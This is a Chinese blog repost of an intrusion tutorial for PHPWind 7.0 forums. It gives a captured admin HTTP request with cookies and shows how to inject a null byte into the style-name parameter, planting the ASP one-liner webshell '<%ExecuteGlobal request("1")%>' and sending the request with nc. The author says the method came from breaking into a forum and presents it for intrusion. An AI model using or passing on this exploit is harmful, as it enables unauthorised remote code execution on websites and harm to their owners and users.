phpwin7.0拿shell的方法

143 阅读 0 评论 95 点赞

我是靠谱客的博主过时母鸡，最近开发中收集的这篇文章主要介绍phpwin7.0拿shell的方法，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞
准备工具:winsock专家 v0.6 betan1 一只;UE-32.EXE一只；NC.EXE一只,电脑一台(只见一堆砖头飞过。。。。)

开工了，首先打开winsock 然后启动IE，进入后台，（哪个又在丢砖头。。。）

进入风格插件>>>>风格模板>>>>添加风格.在第一项，此风格在image目录下的文件夹名称:填TEST或FUCKCNN。。然后按提交。

然后点 [返回继续操作] 找到刚才新建的风格，点编缉，
这里就要轮到winsock出场了...
打开IE进程抓包随便改点什么,如下面的98%改成97%.这里关键的是把数据包抓下来,其它的没所谓

一共二条数据如下:
1:
POST /phpwind/upload/admin.php?adminjob=setstyles&verify=bb457aae& HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://x22222.h21.ttrr.com/phpwi ... n=edit&sid=test
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)
Host: x22222.h21.ttrr.com
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: 9f9e2_lastpos=T3; 9f9e2_ol_offset=97; 9f9e2_threadlog=%2C2%2C; 9f9e2_winduser=C20FAgIEVABSV1RYUAQDVwICDVcAA1MDVwcGBwEFUgUABGg%3D; 9f9e2_ck_info=%2F%09; 9f9e2_lastvisit=7102%091208851845%09%2Fphpwind%2Fupload%2Fread.php%3Ftid%3D3; 9f9e2_ipfrom=32f09dc105198e55683b704b0f8fbc6b%09%B9%E3%B6%AB%CA%A1%0D; 9f9e2_readlog=%2C1%2C2%2C3%2C; 9f9e2_adskin=0; 9f9e2_cknum=CFZUCggDVABSDDtoA1ZRB1VTCQVUCgJVUwMGAQpXBgdcB1FWWwUHAgFWVlA%3D; 9f9e2_AdminUser=CFZUCggAXQVVBDsAVV4MWmgHWF0BBlUPUAZTDQZTBlIAVlcDXFIGVFNWAVFQUFADBTo%3D

2:
action=edit&step=3&sid=test&setting%5B0%5D=test&setting%5B1%5D=wind&setting%5B2%5D=1&setting%5B7%5D=97%25&setting%5B8%5D=98%25&setting%5B3%5D=%23fff&setting%5B4%5D=%232f5fa1&setting%5B5%5D=%23B6D9E3&setting%5B6%5D=%23D4EFF7&setting%5B9%5D=%2376BAC2&setting%5B10%5D=%2376BAC2&setting%5B11%5D=%23005681&setting%5B12%5D=%235495A0&setting%5B13%5D=%23F7F7F7&setting%5B14%5D=%23D6E8CB&setting%5B15%5D=%23659b28&setting%5B16%5D=%23ffffff&setting%5B17%5D=%23F4FBFF&setting%5B18%5D=
分别把他们存为a.txt和b.txt

重点到了,我们打开b.txt,把第三个参数sid=test改为test.aspa,在最后的参数改为setting%5B18%5D=%0D%0C%3C%25ExecuteGlobal+request%28%221%22%29%25%3E简化点就是[回车符]<%ExecuteGlobal request("1")%>

存盘,可以了,然后查看一下b.txt的大小530字节.套套是给他作好了,再给他带上看看,

好,现在我们把b.txt的内容复制到a.txt的最下面,再用ue-32打开a.txt,把下面这行Content-Length: 473改成Content-Length: 530,然后切换[到十六进制模式]把刚才修改的第三个参数sid=test.aspa改为sid=test.asp ,注意,这个为十六进制的00 .存盘,

用NC.EXE发送

OK,现在让我们上FTP看看有没有生成TEST.ASP(当然,如果是入侵的话就直接用一句话客户端去连拉)

要记得你生成的文件在bbs.xxxxxxxxx.com/data/style/test.asp

总结:漏洞产生的原因是跟很久以前的动网上传漏洞一样,没有考滤00这个字节,当我们把生成文件参数后面加上00时,phpwind就以为程序结束,然后就会直接生成我们想要的asp.有很多人问,能不能直接生成PHP呢,这个我也一直在试,但都是没有办法,因为PHP会把我们输入的一句话包含到单引号里面,这样我们的一句话就不能执行了,而ASP单引号不影响我们的执行,由于本人不懂PHP.所以不知道有没有其它的办法,希望本文丢(拋字怎么打也打不出来)砖引玉.让高手来解决这个问题